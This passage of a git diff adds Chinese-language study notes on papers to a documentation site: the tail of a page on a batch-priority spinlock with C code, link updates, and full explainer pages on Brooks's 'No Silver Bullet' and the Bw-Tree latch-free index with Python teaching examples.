+        if (lock->priority_barrier != task_priority) {
+            // 批次号变了或优先级变了，重排
+            goto stage_1;
+        }
+    }
+
+    // 5. 最终阶段：真正的自旋锁竞争
+    final_stage:
+    if (lock->priority_barrier != task_priority) {
+        goto stage_1; // 批次变了，回到优先级排序
+    }
+    if (lock->batch_barrier != batch) {
+        STORE(&lock->priority_barrier, 0xFFFFFFFF);
+        goto stage_0; // 批次变了，回到批处理阶段
+    }
+
+    // 尝试获取锁
+    if (!TAS(&lock->status)) {
+        return; // 拿到了！
+    } else {
+        goto final_stage; // 没拿到，继续自旋
+    }
+
+    // 拿到锁后，进入临界区...
+    // --- 临界区 ---
+    // ...
+
+    // 解锁时重置批次计数，开始新的一批
+    unlock(lock);
+}
+```
+
+### 3.3 代码示例 2：解锁流程
+
+解锁看起来很简单，但有一个关键操作：重置批次计数。
+
+```c
+// 解锁函数
+void bpl_unlock(struct bpl *lock) {
+    // 清除 curr_batch 低 k 位（批次内计数归零）
+    // 然后高 k 位加 1（新的批次号）
+    uint32_t new_val = lock->curr_batch;
+    new_val = new_val & ~((1 << k) - 1);  // 清零低 k 位
+    new_val = new_val + (1 << k);          // 批次号 +1
+
+    STORE(&lock->curr_batch, new_val);
+
+    // 释放锁
+    RESET(&lock->status, 0);
+}
+```
+
+每次解锁都产生一个新批次号，等待中的任务全部被"打回"阶段 0 重新排队。这样确保了：先到的批次优先获得服务，同一批次内优先级高的优先获得服务。
+
+### 3.4 工作流程图解
+
+用一个 3 核心的例子来看 BPL 是如何工作的：
+
+```
+时刻 t=1: 任务 τb (中优先级) 持有锁，在 Core 1 上运行
+
+时刻 t=2: 任务 τc (低优先级) 在 Core 2 上请求锁 -> 进入阶段0，批次0
+         任务 τa (高优先级) 在 Core 0 上请求锁 -> 进入阶段0，批次0
+
+时刻 t=3: τb 释放锁 -> curr_batch 批次号+1，status 清零
+         τa 发现自己是批次0中优先级最高的 -> 晋级到最终阶段 -> 拿到锁
+         τc 因为批次0的锁已被 τa 拿走 -> 回退到阶段1，等下一轮
+
+结果：高优先级的 τa 只等了一个临界区的长度，而不是像 FIFO 那样
+      必须等 τc 也完成才能轮到。但 τc 不会被饿死，因为它和 τa 同批。
+```
+
+## 四、为什么 BPL 比现有方案好
+
+### 4.1 释放优先级锁（Release-prioritized）
+
+这种方案用 FIFO 排队，但释放锁时，持有锁的任务要遍历整个等待队列找最高优先级的。问题：**这延长了临界区的实际执行时间**，因为释放操作本身变慢了。
+
+### 4.2 获取优先级锁（Acquire-prioritized）
+
+这种方案用优先级队列，任务在申请锁时就按优先级排好。问题：**插入优先级队列的操作本身可能有不可预测的延迟**，在最坏情况下可能导致无限等待。
+
+### 4.3 BPL 的折中
+
+BPL 的关键洞察是：**不需要在加锁或释放的单个步骤中完成全局优先级排序**。相反，它把排序分散到多个阶段，每个阶段的局部竞争都是常数级开销。结果是：
+
+- 快速路径下，无竞争时性能等同简单自旋锁
+- 有竞争时，高优先级任务的平均等待时间比 FIFO 短
+- 所有任务的等待时间都有上限，上限值与 FIFO 锁相同
+
+## 五、关键术语表
+
+- **自旋锁（Spinlock）**：等待锁时不停循环检查，不释放 CPU，适合短时间等待
+- **临界区（Critical Section）**：需要互斥访问的代码段
+- **优先级反转（Priority Inversion）**：高优先级任务被低优先级任务间接阻塞
+- **FIFO 锁**：先到先服务的锁，保证等待时间有上限但不区分优先级
+- **饥饿（Starvation）**：某个任务永远等不到锁
+- **CAS**：Compare-and-Swap，一种原子硬件指令
+- **TAS**：Test-and-Set，另一种原子硬件指令
+- **FAA**：Fetch-and-Add，原子地读取并增加一个值
+
+## 六、思考
+
+BPL 的设计哲学是"分批处理"而非"全局排序"。这类似于生活中的取号排队：你在银行取了一个号（批次号），窗口叫号时，同一批次内先看谁的紧急程度更高。你不需要知道所有人的情况，只需要和本批次的人竞争。
+
+这种设计在 m 核系统中（m 通常较小，比如 8-64 核），既能保证可预测的 worst-case 等待时间，又能让高优先级任务获得更好的平均性能。
+
+**一个值得思考的问题**：如果核数非常大（比如 1000+ 核），BPL 的 k 位拆分策略还会高效吗？因为 k = ceil(log2(m))，核数越多，用于批次数值的比特位就越少，能容纳的批次就越有限。这是一个可以进一步研究的方向。
diff --git a/src/content/docs/papers/brakerski-bgv-2012.md b/src/content/docs/papers/brakerski-bgv-2012.md
index 7595685fa..2f288bbe4 100644
--- a/src/content/docs/papers/brakerski-bgv-2012.md
+++ b/src/content/docs/papers/brakerski-bgv-2012.md
@@ -165,6 +165,7 @@ ct' = round(q'/q · ct) mod q'
 
 - [[cheon-ckks-2017]] —— Homomorphic Encryption for Arithmetic of Approximate Numbers
 - [[chillotti-tfhe-2016]] —— Faster Fully Homomorphic Encryption: Bootstrapping in Less Than 0.1 Seconds
+- [[ckks-homomorphic-2017]] —— CKKS 同态加密 — 在加密数据上做近似浮点运算
 - [[fan-vercauteren-bfv-2012]] —— Somewhat Practical Fully Homomorphic Encryption
 - [[gentry-fhe-2009]] —— Gentry FHE — 全同态加密开山
 - [[regev-lwe-2005]] —— On Lattices, Learning with Errors, Random Linear Codes, and Cryptography
diff --git a/src/content/docs/papers/branch-prediction-yeh-patt-1991.md b/src/content/docs/papers/branch-prediction-yeh-patt-1991.md
index ade69d0b9..874c315ac 100644
--- a/src/content/docs/papers/branch-prediction-yeh-patt-1991.md
+++ b/src/content/docs/papers/branch-prediction-yeh-patt-1991.md
@@ -156,6 +156,7 @@ if (x == 0) log_zero();
 - [[kocher-spectre-2019]] —— Spectre 攻击 — 推测执行偷看别人的内存
 - [[mcfarling-bp-1993]] —— McFarling 1993 — 用 XOR 把全局历史和 PC 拧在一起，再让两个预测器打擂台
 - [[self-pic]] —— Self / PIC — 内联缓存的诞生
+- [[spectre-attack-2018]] —— Spectre Attacks — 推测执行如何绕过边界检查偷读内存
 - [[ssa]] —— SSA — 静态单赋值形式
 - [[tracemonkey]] —— TraceMonkey — 只编"真的走过的那一条路"
 
diff --git a/src/content/docs/papers/brooks-no-silver-bullet-1986.md b/src/content/docs/papers/brooks-no-silver-bullet-1986.md
new file mode 100644
index 000000000..bacad90e7
--- /dev/null
+++ b/src/content/docs/papers/brooks-no-silver-bullet-1986.md
@@ -0,0 +1,225 @@
+---
+title: No Silver Bullet — Essence and Accident in Software Engineering（Brooks, 1986）
+来源: http://worrydream.com/refs/Brooks-NoSilverBullet.pdf
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Frederick P. Brooks, Jr. 在 1986 年 IEEE Computer 上发表的这篇短文，是软件工程领域被引用最多的文章之一。Brooks 此前在《人月神话》（1975）里提出「没有银弹」的怀疑；十年后他系统论证：**未来十年内，不存在任何一种单独的技术或管理手段，能单独把软件的生产率、可靠性或简洁性提高一个数量级（10 倍）**。
+
+文章借用亚里士多德哲学里的两个词：
+
+- **Essence（本质）**：软件**固有**的困难——概念结构本身复杂、必须符合外部世界、需求总在变、又难以可视化。
+- **Accident（偶然）**：**当前生产条件**带来的困难——机器慢、语言难写、调试环境差、文档工具落后等；它们不是软件「是什么」的一部分，而是「我们怎么造它」的副产品。
+
+日常类比：你要开一家连锁奶茶店。
+
+- **本质工作**：想清楚菜单逻辑、会员积分规则、供应链与门店扩张策略、高峰期排队模型——这些**业务概念**无论最后用 Excel、Java 还是 AI 写代码，都必须有人想清楚。
+- **偶然工作**：店员手写订单、算盘结账、没有冰箱——换成 POS 机、扫码支付、冷链物流，效率会暴涨；但若「买一杯送一杯且不能与优惠券叠加」这条规则本身就没定义清楚，再快的收银台也救不了。
+
+Brooks 的论点可以压缩成一句：**过去几十年的大进步，多半是在削偶然难度；而银弹幻想，往往把偶然难度的胜利误当成能消灭本质难度。**
+
+## 为什么重要
+
+1986 年的人们热议：Ada、面向对象、AI、专家系统、形式化验证会不会终结软件危机？Brooks 的回答冷静而持久：
+
+1. **设定期望**：管理层不能指望「换一门语言 / 上一个框架」就 10 倍提效；团队也不会因为没达到而自我怀疑到失真。
+2. **区分投资方向**：编译器、IDE、云原生工具值得做，但它们是**边际改进**；真正难的是需求、架构、概念建模与优秀设计师的培养。
+3. **解释历史**：高级语言带来约 5 倍生产力，时间共享、Unix 统一环境也有显著收益——但这些都是**偶然**层面的解放，无法无限外推。
+4. **指导今天**：大模型辅助编程、低代码、Copilot 很像新一代「高级语言 + 时间共享」——极大减少打字与样板代码，却**不会自动**替你弄清「退款时积分要不要扣回」这种本质问题。
+
+读不懂 essence/accident，就容易在每次技术浪潮里重复同一句话：「这次不一样了。」Brooks 的文章就是提醒你先问：**这次到底在打本质，还是在打偶然？**
+
+## 核心概念
+
+### 1. 银弹（Silver Bullet）
+
+民间传说里，只有银弹能一击杀死狼人。Brooks 把「狼人」比作软件危机：进度失控、成本超支、质量不可靠。银弹 = **单一**突破，能单独带来**数量级**改善。
+
+他承认硬件有过银弹式飞跃：电子管 → 晶体管 → 大规模集成电路，性能与成本曲线像摩尔定律那样指数变化。但软件没有对称的「物理定律」帮你自动变便宜。
+
+### 2. 软件的本质是什么
+
+软件实体是**互锁的概念构造**：
+
+- 数据集与数据项之间的关系
+- 算法
+- 对函数的调用关系
+
+这些概念是**抽象的**（同一份设计可以用不同语言实现），却又**极其精细**（不是模糊的诗意，而是能执行的具体结构）。造软件，首要任务是**在头脑中锻造这些概念**，其次才是把它们写进语言、编译、部署。
+
+### 3. 本质的四大属性
+
+| 属性 | 含义 | 日常类比 |
+|------|------|----------|
+| **复杂性（Complexity）** | 同规模下，软件比建筑、汽车更复杂，因为几乎没有完全相同的「零件」；重复出现就会被抽象成子程序 | 每道菜配方都不同，很难像造车那样复用标准螺丝 |
+| **符合性（Conformity）** | 软件必须服从人类机构、法律、遗留系统的规则，这些规则常常**不合理且无法统一** | 奶茶店必须对接各平台异构的团购 API，规则由别人定 |
+| **可变性（Changeability）** | 软件是思想产物，改起来「便宜」，所以压力永远存在——业务、法规、竞品都在逼你改 | 顾客总想要新口味；物理门店改装修很贵，改菜单很便宜 |
+| **不可见性（Invisibility）** | 软件没有天然的几何形态，无法用一张平面图看清全局；我们用的框图只是**投影**，会丢失细节 | 连锁品牌的「关系」在老板脑子里，没有一张图能完整画出所有例外 |
+
+### 4. 偶然难度与 9/10 法则
+
+Brooks 估算：即便把**全部**偶然活动的时间压到零，若它们占整体工作量不足 90%，也**不可能**得到 10 倍总提速。
+
+直觉：若偶然占 50%，偶然清零最多 2 倍；要 10 倍，偶然得占 >90%。而他认为现代开发中，本质工作仍占相当大比例——所以**没有银弹**。
+
+### 5. 已解决偶然难度的三大突破
+
+| 突破 | 攻克的偶然问题 | 大致收益 |
+|------|----------------|----------|
+| **高级语言** | 位、寄存器、手工内存管理 | ~5× 生产力，可靠性、可读性同步提升 |
+| **时间共享** | 批处理排队、人机交互迟滞 | 与高级语言同量级的人因收益 |
+| **统一编程环境**（Unix、Interlisp 等） | 工具链割裂、调试与构建分散 | 显著但难以再乘 5 |
+
+### 6. 被寄望却难当银弹的方向（1986 视角）
+
+Brooks 逐一审视当时的热门方案，结论多是**增量**或**只碰偶然**：
+
+- **Ada 等语言**：继续削减偶然层，但单语言难以再带来一个数量级。
+- **面向对象**：有希望改善**概念组织**（更接近本质），但容易被过度推销成万能药。
+- **人工智能 / 专家系统**：在限定领域有用，难覆盖整个软件构造。
+- **程序验证**：对发现错误有价值，却不能减少必须先想清楚的概念量。
+- **更好环境与工具**：边际收益递减。
+
+### 7. 针对本质的四条「有希望攻击」
+
+1. **买而非造（Buy vs. build）**：能买商品化组件就不要从零造——把本质复杂度留给真正差异化的部分。
+2. **需求精炼与快速原型（Requirements refinement & rapid prototyping）**：最难的单一步骤是**决定做什么**；尽早做可抛弃原型，比后期改便宜 orders of magnitude。
+3. **增量生长（Incremental development — grow, don't build）**：像培育植物，边运行边加功能边测，而不是「大爆炸」式一次交付。
+4. **培养伟大设计师（Great designers）**：少数人的概念能力决定系统骨架；管理应识别并重用他们，而非假设人人等同。
+
+## 日常类比串讲
+
+把做软件想成**写一部长期连载的网络小说**：
+
+- **本质**：世界观是否自洽、人物动机、伏笔与回收——写崩了，换更快的键盘没用。
+- **偶然**：手写稿 vs Word、没有版本控制 vs Git——工具能让打字快很多，但不能替你设计结局。
+- **银弹幻觉**：「我们用 AI 续写工具了，更新速度能快 10 倍」——若剧情逻辑没理顺，只是更快地产出矛盾章节。
+- **买 vs 造**：通用打斗模板、封面素材可以买；主线剧情必须自己写。
+- **原型**：先写几章试水读者反馈，再定大纲——比写完三百章再改设定省钱得多。
+
+## 代码示例一：偶然难度 —— 高级语言解放了什么
+
+下面两段实现同一业务规则：「订单满 100 元减 10 元，且每个用户每天只能用一次」。逻辑本身（本质）很简单；左边用接近机器层面的写法，右边用高级语言——差异主要在**偶然**层。
+
+```python
+# --- 偶然难度高：表达「业务」之前，先要处理大量机器/语言细节 ---
+# （示意性伪汇编风格，现代很少这样写业务）
+# LOAD user_id
+# LOAD order_total_cents
+# CALL check_daily_coupon_used  ; 跳转、寄存器、手动错误码
+# ...
+# 数十行后才能看到「满减」影子
+```
+
+```python
+# --- 偶然难度低：概念直接贴近问题域 ---
+from datetime import date
+
+def apply_daily_discount(user_id: str, order_total: float, ledger: dict) -> float:
+    key = (user_id, date.today().isoformat())
+    if order_total >= 100 and key not in ledger:
+        ledger[key] = True
+        return order_total - 10
+    return order_total
+```
+
+Brooks 指出：从汇编到高级语言，生产力大约 **5 倍**——这是偶然难度的胜利。但若产品经理解释不清「满 100」是否含运费、券能否与会员折扣叠加，**两种写法都一样难**，因为那是本质复杂度。
+
+## 代码示例二：本质难度 —— 同样行数，不同的概念构造
+
+两个程序都是约 30 行 Python，LOC 相近，但**本质复杂度**天差地别。
+
+```python
+# 程序 A：本质简单 —— 概念少、状态空间小
+def greet(name: str) -> str:
+    return f"Hello, {name}!"
+```
+
+```python
+# 程序 B：本质复杂 —— 互锁概念多（Brooks 说的 essence）
+class RefundService:
+    """退款：积分回滚、库存、支付渠道、税务、部分退、跨境汇率……"""
+    def refund(self, order_id: str, line_items: list, reason: str) -> str:
+        order = self.orders.get(order_id)
+        self._validate_refund_window(order)
+        self._restore_inventory(line_items)
+        self._rollback_loyalty_points(order, line_items)
+        amount = self._calc_prorated_amount(order, line_items)
+        self._sync_tax_report(order, amount)
+        return self.payments.reverse(order.payment_id, amount)
+```
+
+Copilot 能帮程序 A 和 B **写得一样快**，却不能把 B 里「部分退时积分按商品类目不同权重扣回」这类规则从空气中生成——除非有人先把规则**想清楚并写进需求**。这就是 Brooks 说必须攻击本质，而非只优化打字速度的原因。
+
+## 代码示例三：增量生长 vs 大爆炸（Grow, don't build）
+
+Brooks 欣赏「先种活，再长枝」的交付方式。对比两种发布策略：
+
+```python
+# 大爆炸：六个月闭门造「完美平台」，第一次上线才接真实流量
+# 风险：概念错误到最后才暴露
+
+# 增量生长：每周多一个可运行切片
+# Week 1 — 只读查询
+def list_orders(user_id: str) -> list:
+    return db.query("SELECT id, total FROM orders WHERE user_id = ?", user_id)
+
+# Week 3 — 在已运行系统上加退款（最小路径）
+def refund_order(order_id: str) -> None:
+    if not can_refund(order_id):
+        raise ValueError("outside window")
+    db.execute("UPDATE orders SET status='refunded' WHERE id = ?", order_id)
+    # 积分、库存可 Week 5 再挂接
+```
+
+第二段代码故意**不一次做全**，让真实用户反馈塑造后续概念——这是攻击「需求难」这一本质步骤，而不是银弹。
+
+## 与《人月神话》的关系
+
+| 主题 | 《人月神话》(1975) | No Silver Bullet (1986) |
+|------|------------------|-------------------------|
+| 人力 | 加人可能更慢（沟通成本） | 本质工作无法靠堆人线性压缩 |
+| 技术乐观主义 | 质疑单一管理/技术妙方 | 系统区分 essence/accident，论证无数量级银弹 |
+| 架构 | 概念完整性、外科团队 | 伟大设计师、买 vs 造、原型 |
+| 第二系统 | 警惕过度设计 | 增量生长避免一次造太大 |
+
+两篇应一起读：前者讲**项目与组织**，后者讲**软件这一事物本身的性质**。
+
+## 常见误解
+
+1. **「Brooks 反对新技术」** —— 他肯定高级语言、环境、OOP 的增量价值；他反对的是**把它说成 10 倍银弹**。
+2. **「偶然不重要」** —— 偶然难度仍值得持续投资；只是别指望它 alone 解决危机。
+3. **「AI 编程就是新银弹」** —— 从 Brooks 框架看，LLM 主要削减实现与探索的偶然成本；需求歧义、合规、架构折中仍是本质。
+4. **「 essence = 业务，accident = 技术」** —— 划分标准是**是否内在于概念构造**，不是业务/技术二分。混乱的需求文档属于本质；漂亮的 IDE 属于偶然。
+
+## 自检清单
+
+读完可以用下面问题自测是否真懂：
+
+- [ ] 能否用你自己的项目举一个「本质难点」和一个「偶然难点」？
+- [ ] 为什么说软件「不可见」会放大团队协作成本？
+- [ ] 高级语言带来的 5× 提升，为什么无法外推到 50×？
+- [ ] 「买而非造」在你的系统里适合用在哪一层，不适合用在哪一层？
+- [ ] 若团队引入 Copilot，应如何分别度量它对偶然与本质工作的帮助？
+
+## 延伸阅读
+
+- Frederick P. Brooks, Jr., *The Mythical Man-Month* (1975, 1995  anniversary ed.) — 软件项目管理经典
+- Aristotle, *Metaphysics* — essence/accident 哲学术语来源
+- Ben Moseley & Peter Marks, «Out of the Tar Pit» (2006) — 用不同词汇重谈本质复杂度与状态
+- Fred Brooks, «"No Silver Bullet" Retrospective» — 作者多年后对预言的回顾（收入 *The Mythical Man-Month* 增订材料）
+
+## 小结
+
+Brooks 并不是在泼冷水，而是在画一张**诚实的地图**：
+
+- 软件难，难在**概念构造**，这是 essence。
+- 工具、语言、环境让表达更轻松，这是 accident 的退却。
+- **没有银弹** ≠ 没有进步；而是要把进步投在正确的瓶颈上：需求、架构、增量验证、商品化复用与优秀设计师。
+
+对你我这样的学习者：下次听说「某框架改变一切」时，先问 Brooks 的问题——**它主要是在消灭偶然，还是在直面本质？** 若只是让狼人跑得快一点，你仍然需要学会怎么瞄准心脏。
diff --git a/src/content/docs/papers/bw-tree.md b/src/content/docs/papers/bw-tree.md
new file mode 100644
index 000000000..08b480546
--- /dev/null
+++ b/src/content/docs/papers/bw-tree.md
@@ -0,0 +1,337 @@
+---
+title: Bw-Tree — 面向新硬件的无锁 B 树索引
+来源: 'Levandoski, Lomet & Sengupta, "The Bw-Tree: A B-tree for New Hardware Platforms", ICDE 2013'
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：图书馆目录卡 + 便利贴，而不是当场改书
+
+想象你在管理一座**超大图书馆**的目录系统。传统 B-tree 像**带锁的卡片柜**：
+
+- 要找一本书，先拿柜门钥匙（latch），打开某一格抽屉（页），在里面翻卡片。
+- 有人要改目录，必须把整张卡片抽出来重写（**原地更新**），其他人只能排队等。
+- 卡片柜固定每格 100 张（固定页大小），一满就必须立刻拆成两格（split），哪怕当时很忙。
+
+Bw-Tree（Microsoft 内部戏称 **Buzz Word Tree**）换了一套规则：
+
+1. **目录柜没有锁**：任何人随时可读；写的人只在**自己的便利贴**上改，最后用原子操作把「当前版本指针」拨到新位置。
+2. **不改旧卡片，只贴便利贴**：每次 insert/delete 不是改原页，而是在页顶** prepend 一条 delta（增量记录）**，像「Δ: 插入《数据库系统》第 3 版」。
+3. **柜子上只有编号，不绑死物理位置**：每个逻辑页有一个 **mapping table 槽位**，里面存的是「当前物理地址指针」；换页、换 delta 链，只改这一个指针。
+4. **后台再整理**：便利贴太多时，工作人员把 delta 全部合并成一张** consolidated page（ consolidated 页）**，搜索变快、内存变省。
+5. **落盘像写日志**：Flash 擅长顺序写、讨厌随机写；Bw-Tree 的 **LSS（Log-Structured Store）** 把页变更顺序追加到日志，而不是随机改旧块。
+
+论文发表于 **ICDE 2013**（Justin Levandoski、David Lomet、Sudipta Sengupta，Microsoft Research）。它是 SQL Server **Hekaton** 内存 OLTP 引擎的有序索引（范围扫描），也是 LLAMA 存储栈的核心组件。设计目标直指 2010 年代两大硬件趋势：**多核大内存**（消除 latch 竞争、提高 cache 命中）和 **Flash/SSD**（顺序写、降低写放大）。
+
+---
+
+## 是什么
+
+**Bw-Tree** 是一种 **latch-free（无闩锁）的 B-tree 变体**，在逻辑上仍是 B-tree（键有序、支持 range scan），但在实现上做了三层 radical redesign：
+
+| 层次 | 传统 B-tree | Bw-Tree |
+|------|-------------|---------|
+| 并发 | 页 latch / 闩锁 | 无 latch；CAS 安装 delta |
+| 更新 | 原地改页内记录 | **Delta record** 链式追加 |
+| 寻址 | 指针直接指向页 | **Mapping table** 间接寻址 |
+| 页大小 | 固定（如 8KB） | **Elastic**（可弹性增长，方便时再 split） |
+| 持久化 | 随机写页 | **Log-structured** 顺序追加 |
+
+一句话：**逻辑页 ID 不变，物理内容通过 delta 链演化；用 mapping table + CAS 让并发写「只碰一个槽位」，读路径无锁前进。**
+
+---
+
+## 为什么重要
+
+如果你只学过 textbook B-tree + InnoDB 页锁，Bw-Tree 解释了 Hekaton / 现代内存数据库里一个反直觉事实：
+
+> **多核加到 16、32 核之后，索引吞吐有时不升反降——瓶颈从「算力」变成「抢同一把页锁」。**
+
+论文与后续 SIGMOD 2014 演示表明，在 Xbox Live Primetime、企业去重等真实 workload 下，Bw-Tree 作为独立 KV 存储可比 BerkeleyDB 快约 **19×**，比 latch-free skiplist 快约 **3×**（具体倍数随 workload 变化）。它把三件事绑在一起：
+
+1. **无阻塞并发**：worker 线程不因 latch 睡眠，减少上下文切换。
+2. **Cache 友好**：不原地改大页，减少 cache line 失效（false sharing）。
+3. **Flash 友好**：LSS 顺序写，规避 SSD 随机写性能悬崖。
+
+后续 OpenBw-Tree（CMU SIGMOD 2018）指出：Microsoft 原始论文**省略不少实现细节**，正确实现 CAS + epoch GC + split 并不 trivial——但 Bw-Tree 仍是理解「无锁索引 + log-structured 存储」的 canonical 设计。
+
+---
+
+## 核心概念
+
+### 1. Mapping Table（映射表）
+
+每个**逻辑页**有一个固定下标 `page_id`，mapping table\[page_id\] 存当前 **physical pointer**（指向 delta 链头或 consolidated 页）。
+
+- 搜索从根开始：读 mapping table → 拿到物理地址 → 沿 B-tree 孩子指针（也是 logical id）向下。
+- 更新某页时，**只 CAS 这一格的指针**，不影响其他页——这是 latch-free 的结构性前提。
+
+### 2. Delta Updating（增量更新）
+
+页状态变更步骤：
+
+1. 分配 delta 记录，描述操作（Insert / Delete / Update / Split / Merge 等）。
+2. Delta 的 `next` 指向旧状态（旧 delta 或 consolidated base）。
+3. **CAS(mapping_table[page_id], old_ptr, new_delta_ptr)**；成功则新 delta 成为页首。
+4. 失败说明并发冲突，重读指针并重试（典型 lock-free 模式）。
+
+读路径：从链头沿 `next` 向下走，合并语义（或先 consolidate 再读）。
+
+### 3. Consolidation（合并整理）
+
+Delta 链过长时：
+
+- 分配新 consolidated 页，把链上所有 delta **apply** 到 base 页。
+- CAS 安装新 consolidated 指针。
+- 旧结构进入 **pending list**，等 **epoch-based reclamation** 安全后再 free。
+
+这样既控制内存，又恢复 O(log n) 页内搜索而非 O(链长)。
+
+### 4. Elastic Pages（弹性页）
+
+页没有硬编码 8KB 上限；split 可以在「方便时」做，减少高负载下的 split 风暴。配合 delta，页的有效大小是 base + 未 consolidate 的 delta 体积。
+
+### 5. Log-Structured Store（LSS）
+
+内存页 evict 到 Flash 时：
+
+- 不是原地覆盖旧块，而是把页（或 delta）**顺序 append** 到 log。
+- Mapping table 槽位更新为 LSS 中的 offset。
+- GC 扫描不可达 log 条目，批量 relocate 以减少随机读。
+
+论文 ICDE 2013 版侧重 **内存侧**；LSS 与 recovery（checkpoint mapping table + 重放 log）在同期/后续技术报告里展开。
+
+### 6. 与 Hekaton 的关系
+
+Hekaton 表用 **hash 索引做点查、Bw-Tree 做范围扫描**。Bw-Tree 的无 latch 设计与 Hekaton 的 **乐观 MVCC** 同哲学：性能路径上避免内核级阻塞，把冲突留到 commit 时检测。
+
+---
+
+## 架构一图流
+
+```text
+                    ┌─────────────────┐
+  读/写线程 ───────►│  B-tree 逻辑层   │  键比较、导航、split 决策
+                    └────────┬────────┘
+                             │
+                    ┌────────▼────────┐
+                    │  Mapping Table   │  page_id → physical ptr (CAS 更新)
+                    └────────┬────────┘
+                             │
+              ┌──────────────┼──────────────┐
+              ▼              ▼              ▼
+         Δ Insert       Consolidated      (evicted)
+         Δ Delete         Page P          → LSS offset
+              │              │
+              └────── next ──┘
+```
+
+---
+
+## 代码示例 1：用 Python 模拟 Mapping Table + CAS 安装 Delta
+
+下面是最小化教学模型（非生产代码）：展示「无锁安装 delta」的核心循环。
+
+```python
+import threading
+from dataclasses import dataclass
+from typing import Any, Optional
+
+@dataclass
+class Delta:
+    op: str          # "insert" | "delete"
+    key: int
+    value: Any = None
+    next: Optional["PageState"] = None
+
+@dataclass
+class ConsolidatedPage:
+    records: dict    # key -> value
+
+PageState = ConsolidatedPage | Delta
+
+class MappingTable:
+    def __init__(self, n_pages: int):
+        # 每个槽位：当前物理指针；用 list 模拟 atomic pointer
+        self.slots: list[PageState | None] = [None] * n_pages
+        self._lock = threading.Lock()  # 仅用于模拟 CAS；真实 Bw-Tree 用 hardware CAS
+
+    def cas(self, page_id: int, expected: PageState | None, new: PageState) -> bool:
+        with self._lock:
+            if self.slots[page_id] is not expected:
+                return False
+            self.slots[page_id] = new
+            return True
+
+def install_delta(table: MappingTable, page_id: int, delta: Delta) -> None:
+    """Latch-free 安装 delta：失败则重读 old_ptr 并重链 delta.next"""
+    while True:
+        old = table.slots[page_id]
+        delta.next = old
+        if table.cas(page_id, old, delta):
+            return
+        # CAS 失败：别的线程已 prepend 新 delta，重试
+
+# 用法
+mt = MappingTable(n_pages=1)
+mt.slots[0] = ConsolidatedPage(records={10: "ten", 20: "twenty"})
+
+install_delta(mt, 0, Delta(op="insert", key=15, value="fifteen"))
+install_delta(mt, 0, Delta(op="delete", key=10))
+
+# 此时 page 0 物理结构：Delete(10) -> Insert(15) -> ConsolidatedPage(...)
+```
+
+要点：
+
+- **读者**只需读 `slots[page_id]` 当前指针，沿链解析，无需加锁。
+- **写者**只 CAS 单个槽位；冲突时重试，不阻塞其他页。
+
+---
+
+## 代码示例 2：Delta 链搜索 + Consolidation
+
+读路径要「看见」链上所有变更；consolidate 把链压平成一张快照页。
+
+```python
+def search_page(state: PageState | None, key: int) -> Any | None:
+    """从链头向下：delta 覆盖 consolidated base 的语义"""
+    if state is None:
+        return None
+    if isinstance(state, ConsolidatedPage):
+        return state.records.get(key)
+
+    assert isinstance(state, Delta)
+    if state.op == "insert":
+        if key == state.key:
+            return state.value
+    elif state.op == "delete":
+        if key == state.key:
+            return None  # 删除覆盖更老的值
+    # 继续向 base 查找
+    return search_page(state.next, key)
+
+
+def consolidate(state: PageState | None) -> ConsolidatedPage:
+    """把 delta 链 apply 到 consolidated 页（论文中的 consolidate 操作）"""
+    base = ConsolidatedPage(records={})
+    chain: list[Delta] = []
+    cur = state
+    while isinstance(cur, Delta):
+        chain.append(cur)
+        cur = cur.next
+    if isinstance(cur, ConsolidatedPage):
+        base.records = dict(cur.records)
+
+    for d in reversed(chain):  # 从 oldest delta 到 newest
+        if d.op == "insert":
+            base.records[d.key] = d.value
+        elif d.op == "delete":
+            base.records.pop(d.key, None)
+    return base
+
+
+# 接上例 mt.slots[0]
+head = mt.slots[0]
+assert search_page(head, 15) == "fifteen"
+assert search_page(head, 10) is None
+assert search_page(head, 20) == "twenty"
+
+flat = consolidate(head)
+assert flat.records == {15: "fifteen", 20: "twenty"}
+# 生产环境会用 CAS 把 mapping_table[0] 从 head 换成 flat，旧链 epoch GC
+```
+
+Consolidation 触发条件通常是：**delta 链长度 / 页内搜索成本** 超过阈值，或后台 maintenance 线程空闲时批量处理。
+
+---
+
+## 代码示例 3：B-tree 导航伪代码（逻辑层）
+
+Delta 与 mapping table 解决「页内并发」；B-tree 层仍负责**键序与 split**。简化导航：
+
+```python
+def bwtree_lookup(root_id: int, key: int, table: MappingTable, inner: dict) -> Any | None:
+    """
+    inner[(page_id, key)] -> child_page_id  # 内节点路由；值节点在 consolidated/delta 里
+    """
+    page_id = root_id
+    while True:
+        state = table.slots[page_id]
+        # 在内节点 consolidated 页上找 child（真实实现还有 delta 上的 split delta）
+        child = route_inner(consolidate(state) if needs_flat(state) else state, key, inner)
+        if child is None:
+            return search_page(state, key)  # 叶页
+        page_id = child
+```
+
+Split 在 Bw-Tree 里同样产生 **management delta**（或新页 + 父节点 delta），通过 CAS 分批安装，避免「整棵树 latch 化」。
+
+---
+
+## 与传统 B-tree / LSM 的对比
+
+| 维度 | B-tree (InnoDB) | LSM (RocksDB) | Bw-Tree |
+|------|-----------------|---------------|---------|
+| 读放大 | 低（树高 + 缓存） | 高（多层 SST） | 低–中（树 + delta 链） |
+| 写放大 | 中（随机页写） | 高（compaction） | 中（delta + LSS 顺序写） |
+| 并发 | 页 latch | 通常较友好 | **无 latch** |
+| 范围扫描 | 天然支持 | 需 merge iterator | 天然支持 |
+| 实现复杂度 | 中 | 高 | **很高**（CAS/GC/split） |
+
+Bw-Tree **不是** LSM 的简单混合：它保持 B-tree 的**有序索引语义**，只在**页存储与并发**上借 log-structured 思想（delta 链 + append-only LSS）。
+
+---
+
+## 实验结论（论文摘要级）
+
+ICDE 2013 实验聚焦内存 Bw-Tree 层，显示 latch-free + delta 在多核上显著优于 latch-based B-tree。后续工作（SIGMOD 2014 «Indexing on Modern Hardware: Hekaton and Beyond»）补充：
+
+- 嵌入 Hekaton 的端到端 OLTP 路径；
+- 独立 KV 存储 vs BerkeleyDB、latch-free skiplist 的对比。
+
+阅读这些数字时应注意：**workload、硬件代际、实现完整度**（OpenBw-Tree 指出原版缺少细节）都会大幅影响结论。Bw-Tree 的教学价值在于**设计权衡**，而非「在所有场景碾压 skiplist」。
+
+---
+
+## 实现难点（读论文时该盯什么）
+
